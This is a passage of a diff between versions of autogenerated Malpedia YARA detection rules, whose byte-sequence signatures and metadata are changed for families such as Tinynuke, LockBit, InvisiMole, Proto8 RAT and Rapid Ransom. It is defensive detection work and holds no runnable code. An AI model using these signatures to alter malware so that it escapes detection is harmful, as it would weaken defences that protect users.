+		$sequence_1 = { 8be5 5d c3 50 8b45e8 }
+		$sequence_2 = { 894614 897e24 ff15???????? 8bd8 3bdf 0f84e3feffff }
+		$sequence_3 = { 8bf0 ffd3 8bd8 53 56 }
+		$sequence_4 = { 56 53 52 57 50 51 ff15???????? }
+		$sequence_5 = { 8b00 50 ff15???????? 83f8ff 740b a810 7507 }
+		$sequence_6 = { 85c0 0f8458feffff 8b4e20 6a00 8d45e4 50 8d148d28000000 }
+		$sequence_7 = { 8bf0 c70628000000 8b4dc8 894e04 8b55cc 895608 668b45d4 }
+		$sequence_8 = { 8b7614 6a00 8d45e4 50 56 }
+		$sequence_9 = { 56 894590 ff15???????? 8bf8 897d94 83ffff }
 
 	condition:
-		7 of them and filesize <4734976
+		7 of them and filesize <1744896
 }
-rule MALPEDIA_Win_Unidentified_081_Auto : FILE
+rule MALPEDIA_Win_Tinynuke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4bef4e35-3450-5f50-98ad-424279417112"
+		id = "d780fd7f-583b-590f-a92f-7ac4fac52f1d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_081_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinynuke_auto.yar#L1-L294"
 		license_url = "N/A"
-		logic_hash = "0bf113d92abe743278ae5a94b3d8f7a48f5ba7f91d2e79f1d3ac361b6c786f4e"
+		logic_hash = "f182ca1cbc1a4db59bec12699d68404bb9da6364ccc0407277f19ab284be21eb"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -140941,32 +147819,54 @@ rule MALPEDIA_Win_Unidentified_081_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8985c8fdffff 83f808 0f84ab090000 83f807 0f8777090000 ff24854fa44000 33c0 }
-		$sequence_1 = { c74518f0944100 50 8d4dc4 e8???????? 68???????? 8d45c4 }
-		$sequence_2 = { 68???????? b9???????? e8???????? c645fc03 33c0 }
-		$sequence_3 = { eb02 33c0 8bbdc8fdffff 6bc009 0fb6bc38e8544100 8bc7 89bdc8fdffff }
-		$sequence_4 = { 8b7508 c7465c48554100 83660800 33ff }
-		$sequence_5 = { c645fc01 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 0f44c1 }
-		$sequence_6 = { 88440a34 8b049dd0d14100 c744023801000000 e9???????? ff15???????? 8bf8 }
-		$sequence_7 = { 83e61f c1f805 c1e606 8b0485d0d14100 80643004fd 8b45f8 }
-		$sequence_8 = { 6a01 6a00 f7d8 50 53 ff15???????? 8b8d34ffffff }
-		$sequence_9 = { ff15???????? 837c241001 7507 b101 e8???????? 8b35???????? }
+		$sequence_0 = { c3 55 8bec 817d0c00040000 }
+		$sequence_1 = { 6aff ff7508 6a00 68e9fd0000 ff15???????? 8bc3 5b }
+		$sequence_2 = { 7625 53 8b5d08 57 8b7d10 57 }
+		$sequence_3 = { ff35???????? a3???????? 57 ff15???????? ff35???????? 8b7dfc }
+		$sequence_4 = { 50 56 57 ff35???????? c745f801000000 }
+		$sequence_5 = { 8d8530f6ffff 50 6802020000 ff15???????? 85c0 }
+		$sequence_6 = { 8945f4 8d85d4feffff 50 ff15???????? }
+		$sequence_7 = { 6a03 53 53 6800000080 50 ff15???????? a3???????? }
+		$sequence_8 = { ff75ec ff75fc e8???????? 83c40c 5f }
+		$sequence_9 = { ff15???????? ff35???????? 8d85a4feffff 50 }
+		$sequence_10 = { 8d85a4feffff 50 ff15???????? ff35???????? }
+		$sequence_11 = { ff15???????? a3???????? ff35???????? ff75f8 }
+		$sequence_12 = { a3???????? 68e2010000 68???????? 68???????? e8???????? }
+		$sequence_13 = { e8???????? eb18 83f803 7519 }
+		$sequence_14 = { 59 a3???????? c9 c3 55 }
+		$sequence_15 = { 6a2a 50 8945fc ff15???????? }
+		$sequence_16 = { a3???????? ff35???????? ff75ec ff15???????? }
+		$sequence_17 = { 8a00 3c0a 7409 3c0d }
+		$sequence_18 = { 50 8d85f0fdffff 50 ff15???????? ff75fc 8d85f0fdffff }
+		$sequence_19 = { ff15???????? 8d85d0fcffff 50 e8???????? 59 }
+		$sequence_20 = { ff15???????? 8b35???????? 8d430c 50 }
+		$sequence_21 = { 8b0f 85c9 742a 8d440b02 85c9 }
+		$sequence_22 = { 8b44241c 8bb0a0000000 2b6834 01de 8b16 85d2 }
+		$sequence_23 = { 8bb90000e06e 0f848e000000 83fa20 0f84f0000000 83fa08 0f84b4000000 }
+		$sequence_24 = { 890424 89442418 e8???????? 89c3 }
+		$sequence_25 = { ffd6 57 53 ffd6 5f 5e 8bc3 }
+		$sequence_26 = { 8b06 85c0 75b7 8b7c241c 8b8780000000 }
+		$sequence_27 = { c744240840000000 891c24 89dd 8944240c 8b442418 89442404 e8???????? }
+		$sequence_28 = { 745c 01d8 890424 e8???????? 83ec04 89c6 }
+		$sequence_29 = { a1???????? 83c014 03c7 894df8 8945f4 7417 }
+		$sequence_30 = { 03c7 83f864 0f873f010000 8b45c0 8b7dbc }
+		$sequence_31 = { c744241000000000 c744240c50c30000 c744240850c30000 c744240400000000 e8???????? }
 
 	condition:
-		7 of them and filesize <273408
+		7 of them and filesize <1196032
 }
-rule MALPEDIA_Win_Lockbit_Auto : FILE
+rule MALPEDIA_Win_Xfscashncr_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "945a5bdc-50cc-5372-b470-aafc3e12d474"
+		id = "6ee5ebd5-3415-5529-b820-2ef4f50b7f37"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lockbit_auto.yar#L1-L203"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xfscashncr_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "ef292234a38c5f85ea42d6220d555a65163be7c7bef94693195ea2cefdb10cc0"
+		logic_hash = "9081cad85dadcbc9b76a9d19d302868541784728cc3671f5b0e80a45a72963e6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140980,42 +147880,32 @@ rule MALPEDIA_Win_Lockbit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f28c8 660f73f904 660fefc8 0f28c1 660f73f804 }
-		$sequence_1 = { 50 e8???????? 8d858cfeffff 50 8d45c0 50 8d45a0 }
-		$sequence_2 = { fec1 47 4e 85f6 75d2 5d }
-		$sequence_3 = { 56 57 8d9d84fcffff b900c2eb0b e2fe e8???????? 53 }
-		$sequence_4 = { 6683f866 7706 6683e857 eb17 6683f830 720c 6683f839 }
-		$sequence_5 = { 33db 55 8b6d10 8bc1 }
-		$sequence_6 = { 8d8550fdffff 50 6a00 ff15???????? }
-		$sequence_7 = { 33c0 8d7df0 33c9 53 0fa2 }
-		$sequence_8 = { f745f800000002 740c 5f 5e }
-		$sequence_9 = { 02d3 8a5c1500 8a541d00 8a541500 fec2 8a441500 }
-		$sequence_10 = { 33d0 8bc1 c1e810 0fb6c0 c1e208 }
-		$sequence_11 = { 53 56 57 33c0 8b5d14 33c9 33d2 }
-		$sequence_12 = { 8d45f8 50 8d45fc 50 ff75fc ff75f4 }
-		$sequence_13 = { e9???????? 6683f841 720c 6683f846 7706 6683e837 }
-		$sequence_14 = { 6a00 6a00 6800000040 ff75d4 }
-		$sequence_15 = { 5b 8907 897704 894f08 89570c f745f800000002 740c }
-		$sequence_16 = { 214493fc 8b5df8 8bc3 43 }
-		$sequence_17 = { 7407 8bce e8???????? 837b0402 }
-		$sequence_18 = { 7414 663901 740f 0f1f440000 }
-		$sequence_19 = { 1bdb 83e30b 83c328 ff7518 8b7d08 8d049500000000 ff7514 }
+		$sequence_0 = { 0fb6c8 85c9 744e 8b4d10 e8???????? 0fb730 8b8d54ffffff }
+		$sequence_1 = { 50 8b4de8 8b5110 52 6a00 682d010000 8b45e8 }
+		$sequence_2 = { 898518feffff 8b8d18feffff 898d14feffff c745fc00000000 8b9514feffff 52 e8???????? }
+		$sequence_3 = { 686b070000 68???????? 8b4508 50 e8???????? 83c40c 8b4508 }
+		$sequence_4 = { 8b4de4 66891401 0fb755f4 81fa00800000 7f27 0fb745f4 3d00800000 }
+		$sequence_5 = { 83c418 8b08 8b5004 894d10 895514 c78564ffffff00000000 eb35 }
+		$sequence_6 = { e8???????? 0fb6d0 85d2 7557 837de802 750f 8b4520 }
+		$sequence_7 = { 837d0800 744a b801000000 85c0 7441 8b4508 83c008 }
+		$sequence_8 = { 8b4d08 d9ee d95c81fc 8b55f0 8b4508 d90490 d9ee }
+		$sequence_9 = { 8b5508 83e21f c1e206 8b048dc0195700 0fbe4c1004 81e17fffffff 8b5508 }
 
 	condition:
-		7 of them and filesize <2049024
+		7 of them and filesize <3126272
 }
-rule MALPEDIA_Win_Invisimole_Auto : FILE
+rule MALPEDIA_Win_Proto8_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ca18c738-4139-5525-aa28-1ccc54f29c64"
+		id = "67c17406-b8bd-51d3-bd06-6c282d2d9ba4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.invisimole_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.proto8_rat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "c66d253d3c18c58309d81357b0c6a50ba445964c209a2fd7bab05aae7420f29c"
+		logic_hash = "b74b2b80c633a7bf227b4dcb10a54e0eaa49fb3d590fb7e951e6a918637cc88c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141029,32 +147919,32 @@ rule MALPEDIA_Win_Invisimole_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 668945f0 8d863e020000 50 ffd7 33c9 668945f2 8d45f8 }
-		$sequence_1 = { 8d5590 52 50 e8???????? 83c40c 83f8ff 0f848df1ffff }
-		$sequence_2 = { 0fb65714 83c448 6a01 8d45ff 50 56 8855ff }
-		$sequence_3 = { 6a01 8d45ff 50 56 c645ff33 }
-		$sequence_4 = { 8bec 83ec4c 53 56 8bf0 57 8d45b4 }
-		$sequence_5 = { 47 83ff09 72d5 8b0d???????? 56 6a00 51 }
-		$sequence_6 = { 57 6860040000 33db 53 56 e8???????? a1???????? }
-		$sequence_7 = { 8b45fc 50 a1???????? 6a00 50 ffd7 8b4308 }
-		$sequence_8 = { 8b45f4 8a5dfb 50 ff15???????? 8ac3 5f }
-		$sequence_9 = { 53 e8???????? 8b75df 81fee6010000 0f8335050000 8a8746020000 0a4710 }
+		$sequence_0 = { 7819 8d4a01 0f1f00 488b5b08 4883e901 75f6 eb07 }
+		$sequence_1 = { f04e0fb13409 483bd0 752b 4885d2 7426 440fb68c24c8000000 498bcc }
+		$sequence_2 = { 488b4008 48894708 488b4630 488907 488b4630 488b4808 488939 }
+		$sequence_3 = { 764f 6666660f1f840000000000 458bc1 8bd5 49c1e006 4c034360 4183780800 }
+		$sequence_4 = { 0f10442428 488b842488000000 0f1100 f20f104c2438 f20f114810 b001 eb02 }
+		$sequence_5 = { e8???????? 84c0 751d 488b03 488bcb ff5018 488bf0 }
+		$sequence_6 = { 4053 4883ec20 488d05634f0400 488bd9 488901 f6c201 740a }
+		$sequence_7 = { f20f114808 0f28cf 488b41e0 f20f594020 f20f114008 488b41e8 f20f594820 }
+		$sequence_8 = { ff15???????? 85c0 757f ff15???????? 3d002f0000 74be 488b4c2440 }
+		$sequence_9 = { 8b842490000000 03ce 894c2428 3bc8 0f829afdffff 4c8b7c2440 4c8b642448 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <2537472
 }
-rule MALPEDIA_Win_Icondown_Auto : FILE
+rule MALPEDIA_Win_Treasurehunter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5fb05a25-c3d8-5c59-95d8-0506e8a3c86e"
+		id = "d910c7d8-579e-5e04-9944-d334673c4daa"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icondown_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.treasurehunter_auto.yar#L1-L103"
 		license_url = "N/A"
-		logic_hash = "0c8c45a1ce9a6284204f7a9a1969d67da5f4271a6aa51c70c6faebd789509deb"
+		logic_hash = "15ce0cdcd8ce74cbd944226eb16c8cf48295e060eba7d0ca2d750492d2eadd11"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141068,32 +147958,30 @@ rule MALPEDIA_Win_Icondown_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89442420 8b471c d1ee 52 50 83e601 }
-		$sequence_1 = { 5f 5e 5d b801000000 5b c20400 8b461c }
-		$sequence_2 = { 3bc5 7c10 5f 5e 5d b8feffffff 5b }
-		$sequence_3 = { 8b461c 85c0 0f8476010000 8b868c000000 }
-		$sequence_4 = { 0fb6da f683c11c450004 7406 8816 46 40 ff01 }
-		$sequence_5 = { b81f85eb51 f7e9 c1fa05 8bca b81f85eb51 c1e91f }
-		$sequence_6 = { 56 8bf1 33db 57 8975f0 895dec c745e8a4ff4300 }
-		$sequence_7 = { e8???????? c7462844d04300 833d????????00 7416 }
-		$sequence_8 = { c3 33c0 5e c3 8b442404 c74050f0b94400 }
-		$sequence_9 = { c745f020d04300 c745e810000000 e8???????? 85c0 7403 }
+		$sequence_0 = { 75f9 2bf0 e8???????? 8bd0 }
+		$sequence_1 = { 53 56 8b35???????? 8bd9 8b4d08 57 }
+		$sequence_2 = { 8bf8 e8???????? 68???????? 57 e8???????? }
+		$sequence_3 = { 8bd9 8b4d08 57 8955fc e8???????? 8bce 8bf8 }
+		$sequence_4 = { 57 8bf9 8bca e8???????? 8b7508 }
+		$sequence_5 = { 56 50 8903 ff15???????? 8b4dfc }
+		$sequence_6 = { 7e0b 4a e8???????? 0fafc6 5e c3 }
+		$sequence_7 = { e8???????? b9???????? a3???????? e8???????? 5f 5e a3???????? }
 
 	condition:
-		7 of them and filesize <5505024
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Friedex_Auto : FILE
+rule MALPEDIA_Win_Unidentified_111_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "97d1751f-5738-5834-8f82-479344539d3a"
+		id = "761c3c1a-627b-5adf-b1c2-f96f11c05a94"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.friedex_auto.yar#L1-L172"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_111_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "8dffa1fb6804412157c235a0ef3196dc0c5961e846d30c21c59180ff32555e60"
+		logic_hash = "8a86a6eb9509e0a5b4e912cde53abfcabb23f3644fc565d69ca8396c5dc5d7c9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141107,38 +147995,32 @@ rule MALPEDIA_Win_Friedex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 57 8bc8 e8???????? 6a26 }
-		$sequence_1 = { c20c00 51 51 53 55 8be9 c744240820090d0a }
-		$sequence_2 = { 1adb e8???????? 6a20 5f }
-		$sequence_3 = { 74f9 33c9 663908 0f94c0 5f 5e 5d }
-		$sequence_4 = { 663910 7431 8bd8 8d7102 eb1d }
-		$sequence_5 = { 5f 5b 5e 5d c20c00 51 }
-		$sequence_6 = { 75c1 6a2a 5f eb06 b001 eb0f 03c5 }
-		$sequence_7 = { 6a00 ff760c ffd0 8b442408 5e }
-		$sequence_8 = { 8955e0 e8???????? 8d0dd830a500 890424 894c2404 e8???????? }
-		$sequence_9 = { 8d055a23a500 31c9 8d55d8 803d????????e9 8955d4 8945d0 }
-		$sequence_10 = { 8a2c057530a500 83c001 38e9 8945a0 8955cc 74bc }
-		$sequence_11 = { 8d055a23a500 5d c3 55 }
-		$sequence_12 = { c7424458270000 c7424800100100 8b7de4 c787cc00000000000000 c787c800000000000000 }
-		$sequence_13 = { 8b45a4 8a4daf 31d2 8a2c057530a500 83c001 38e9 }
-		$sequence_14 = { 8d0dc930a500 890424 894c2404 e8???????? 8d0d4430a500 31d2 8b75f8 }
-		$sequence_15 = { 8d0d4430a500 31d2 890c24 c744240400000000 }
+		$sequence_0 = { 488b4c2428 0fbe09 3bc1 7512 }
+		$sequence_1 = { c744242002000000 e9???????? 837c243406 7511 837c243801 750a }
+		$sequence_2 = { 8b00 488b4c2430 488b09 0fbe0401 48634c2404 488b542428 0fbe0c0a }
+		$sequence_3 = { eb43 41b901000000 448b442424 488b542428 488b4c2448 e8???????? }
+		$sequence_4 = { eb1f c744242000000000 4533c9 4533c0 }
+		$sequence_5 = { 488b4c2448 ff15???????? 89442444 837c244400 7502 eb11 }
+		$sequence_6 = { 488d8c0c60020000 ba02000000 486bd200 4803ca 448bc0 488b542420 e8???????? }
+		$sequence_7 = { 66c1ca08 0fb7d2 4c8b8424a0000000 450fb74006 6641c1c808 450fb7c0 4c8b8c24a0000000 }
+		$sequence_8 = { e8???????? b910000000 e8???????? 4889442448 488b442448 488b4c2450 488908 }
+		$sequence_9 = { 4889542410 48894c2408 4883ec78 c744243000000000 c744243400000000 488b942488000000 488d4c2448 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <148480
 }
-rule MALPEDIA_Win_Lambert_Auto : FILE
+rule MALPEDIA_Win_Wastedloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1c692e32-84a7-5d90-ba02-61a84edfcff0"
+		id = "f15153cb-6336-5eec-a420-db8a6857e34a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lambert_auto.yar#L1-L166"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wastedloader_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "9e5ed22ba49a751e07cf4ea652d26902b7b8b831105840a55340dbe6f75e09b9"
+		logic_hash = "e6299dacb3891024e6699f166db0ecba511abe3e26d2cc6dc9ddd0929ba5121a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141152,38 +148034,32 @@ rule MALPEDIA_Win_Lambert_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33f2 8b55e8 33ce 33d1 }
-		$sequence_1 = { 4e 8b1f 8919 2bf0 }
-		$sequence_2 = { 3bd8 0f826f010000 8a07 8801 41 47 }
-		$sequence_3 = { 3bd8 0f82a4000000 83fe06 0f822cffffff }
-		$sequence_4 = { 55 8bec 56 8b7510 c1fe04 }
-		$sequence_5 = { 2bc1 3bc7 0f82e5010000 8b4508 2bc2 8d7701 }
-		$sequence_6 = { 33f1 8b4de4 33ce 314de8 }
-		$sequence_7 = { 3b7d10 724d 3bf9 7349 8bc3 2bc1 }
-		$sequence_8 = { 6a00 e8???????? 8945fc 8b45fc 8945f4 8b4df4 8b55f4 }
-		$sequence_9 = { 50 e8???????? 8945e8 8b4de8 3b4d10 750f }
-		$sequence_10 = { 83ec18 8b450c 8b4814 894df0 8b550c 8b4508 }
-		$sequence_11 = { 741f 8b4df8 c1e90d 8b55f8 }
-		$sequence_12 = { ebce 8b45f8 8be5 5d c20400 55 8bec }
-		$sequence_13 = { 8b510c 8b421c 8945f4 8b4df4 894df0 }
-		$sequence_14 = { 3b5118 7334 8b45fc 8b4dec }
-		$sequence_15 = { e8???????? 8945f8 8b4df8 3b4d08 7508 8b55f4 }
+		$sequence_0 = { b748 00ee 0be6 3bf6 2014dd33b89819 220f }
+		$sequence_1 = { 0fb7485e 83e954 8b55f8 66894a5e }
+		$sequence_2 = { fc b802ec0000 8d6825 94 01dc 00e8 45 }
+		$sequence_3 = { b802ec0000 8d6825 94 01dc 00e8 45 }
+		$sequence_4 = { ec 7ac4 f8 ae fc }
+		$sequence_5 = { 32705b 39e1 108792ff9b95 8abf2ec8650b }
+		$sequence_6 = { 1a00 0071bf 7303 1f c8be8de8 1be8 692405008008202c00700d }
+		$sequence_7 = { 66894118 8b55f8 0fb74218 83e854 8b4df8 66894118 ba8d000000 }
+		$sequence_8 = { 2cbe 832061 5b 5b }
+		$sequence_9 = { 30ac06e68bfc49 23f7 b754 7c49 27 59 }
 
 	condition:
-		7 of them and filesize <1212416
+		7 of them and filesize <2677760
 }
-rule MALPEDIA_Win_Lowkey_Auto : FILE
+rule MALPEDIA_Win_Windealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "16d4ae5f-e38d-570e-962d-91656915c4ac"
+		id = "f3b71a3e-a02a-5dce-bc43-cb374750ce4e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lowkey_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.windealer_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "663feed0bd96ec1d7d11defff75725aca17e4e2539133645562042d15d3f90de"
+		logic_hash = "d82b81175389182c804642799536612f0047302d818841ec0b2b4fd9f2036f88"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141197,32 +148073,32 @@ rule MALPEDIA_Win_Lowkey_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 482be0 488b05???????? 4833c4 48898520200000 33d2 c74590636d642e }
-		$sequence_1 = { 488d3547ed0100 eb16 488b3b 4885ff 740a }
-		$sequence_2 = { 0f85d7feffff e9???????? b966000000 66894c2435 e9???????? 488d15fa230200 488d8d70010000 }
-		$sequence_3 = { b868000000 6689442435 eb49 488d1517250200 488d8d70010000 ff15???????? 85c0 }
-		$sequence_4 = { 4833c4 4889842490040000 8bfa 488bd9 4885c9 }
-		$sequence_5 = { 85c0 0f84bffeffff b865000000 895c2438 4c8d8570090000 6689442435 488d542430 }
-		$sequence_6 = { ff15???????? e9???????? b9d3000000 663bc1 7551 4c3935???????? 7414 }
-		$sequence_7 = { c3 4057 4883ec20 488d3d7b2d0100 48393d???????? 742b }
-		$sequence_8 = { 5e 5b c3 488bcb ff15???????? 4885c0 7504 }
-		$sequence_9 = { eb87 4055 53 57 488dac2470dfffff b890210000 }
+		$sequence_0 = { 50 56 e8???????? 83c410 8b4618 }
+		$sequence_1 = { 6a00 ff15???????? 85c0 7407 50 ff15???????? 6a01 }
+		$sequence_2 = { 6a04 50 6a04 68???????? 68???????? }
+		$sequence_3 = { 50 56 e8???????? 83c410 8b4610 }
+		$sequence_4 = { 53 56 57 68da070000 }
+		$sequence_5 = { 56 57 68da070000 e8???????? }
+		$sequence_6 = { 56 e8???????? 83c410 8b4610 }
+		$sequence_7 = { 6a01 50 56 e8???????? 83c410 8bc7 }
+		$sequence_8 = { 668b91d2070000 8a89d0070000 52 51 }
+		$sequence_9 = { 8b4d08 668b91d2070000 8a89d0070000 52 51 }
 
 	condition:
-		7 of them and filesize <643072
+		7 of them and filesize <770048
 }
-rule MALPEDIA_Win_Mindware_Auto : FILE
+rule MALPEDIA_Win_Contopee_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "205d25dc-9d1d-5cfe-9a1e-fc1d20bf21d6"
+		id = "77374f1e-6c89-5026-9b9e-741c43271a9e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mindware_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.contopee_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "0229e104e7ced878ae1d5a8dad7ae14c8a1e11edebe2196883325f14972bfdf1"
+		logic_hash = "887c3d1e6d8d0ed992ba95d9f863595a093876d8864d3c96b3a6d6d4a8e08fbb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141236,32 +148112,32 @@ rule MALPEDIA_Win_Mindware_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff15???????? 8dbd48ffffff 32c0 b980000000 f3aa }
-		$sequence_1 = { c78530e9ffffeccc4300 c78534e9fffff4cc4300 c78538e9ffff0ccd4300 c7853ce9ffff18cd4300 c78540e9ffff38cd4300 c78544e9ffff40cd4300 c78548e9ffff4ccd4300 }
-		$sequence_2 = { c7857cf4ffff24e94300 c78580f4ffff38e94300 c78584f4ffff40e94300 c78588f4ffff48e94300 c7858cf4ffff58e94300 }
-		$sequence_3 = { c1e910 335808 0fb6c9 895df4 33148df0d04400 }
-		$sequence_4 = { 894dfc 89482c c1e918 897028 0fb699f0d84400 8b4dfc c1e910 }
-		$sequence_5 = { 0fb6c9 33148dc0c84400 335004 8b4dfc c1e908 8955e8 0fb6d1 }
-		$sequence_6 = { 8bec 837d0c00 764c e8???????? 0fb6c0 85c0 }
-		$sequence_7 = { 6a00 8b856cffffff 50 8b8d68ffffff 51 8b55bc 52 }
-		$sequence_8 = { c78530e6ffff5cc54300 c78534e6ffff68c54300 c78538e6ffff70c54300 c7853ce6ffff78c54300 c78540e6ffff88c54300 c78544e6ffff90c54300 c78548e6ffffa0c54300 }
-		$sequence_9 = { 33d2 034dc8 1355cc 894dc8 8955cc e9???????? 8b45dc }
+		$sequence_0 = { c3 8bac244c020000 55 6a00 }
+		$sequence_1 = { 83c41c eb35 8b5614 8b442430 6a00 6aff 42 }
+		$sequence_2 = { 6880000000 50 8d8e6a050000 6880000000 51 }
+		$sequence_3 = { 66896c240c 8d842414020000 50 57 ff15???????? }
+		$sequence_4 = { 7510 ff15???????? 5f 5d 5b 81c4dc040000 c3 }
+		$sequence_5 = { 8bf8 ebc8 ff15???????? 8bf8 ebd1 5f }
+		$sequence_6 = { 7432 6a0f 51 50 e8???????? 8bf0 }
+		$sequence_7 = { 8bd8 8b4608 83f802 8b44242c 0f858e000000 eb04 8b7c2418 }
+		$sequence_8 = { 68???????? 51 ff15???????? 8b84243c020000 8d542428 52 50 }
+		$sequence_9 = { 52 e8???????? 83c430 5f 5e }
 
 	condition:
-		7 of them and filesize <661504
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Netrepser_Keylogger_Auto : FILE
+rule MALPEDIA_Win_Rapid_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "888501fd-ce54-593e-a428-69ec62ec3120"
+		id = "ffd06a30-064b-5d5c-9708-094ba6b3f858"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger"
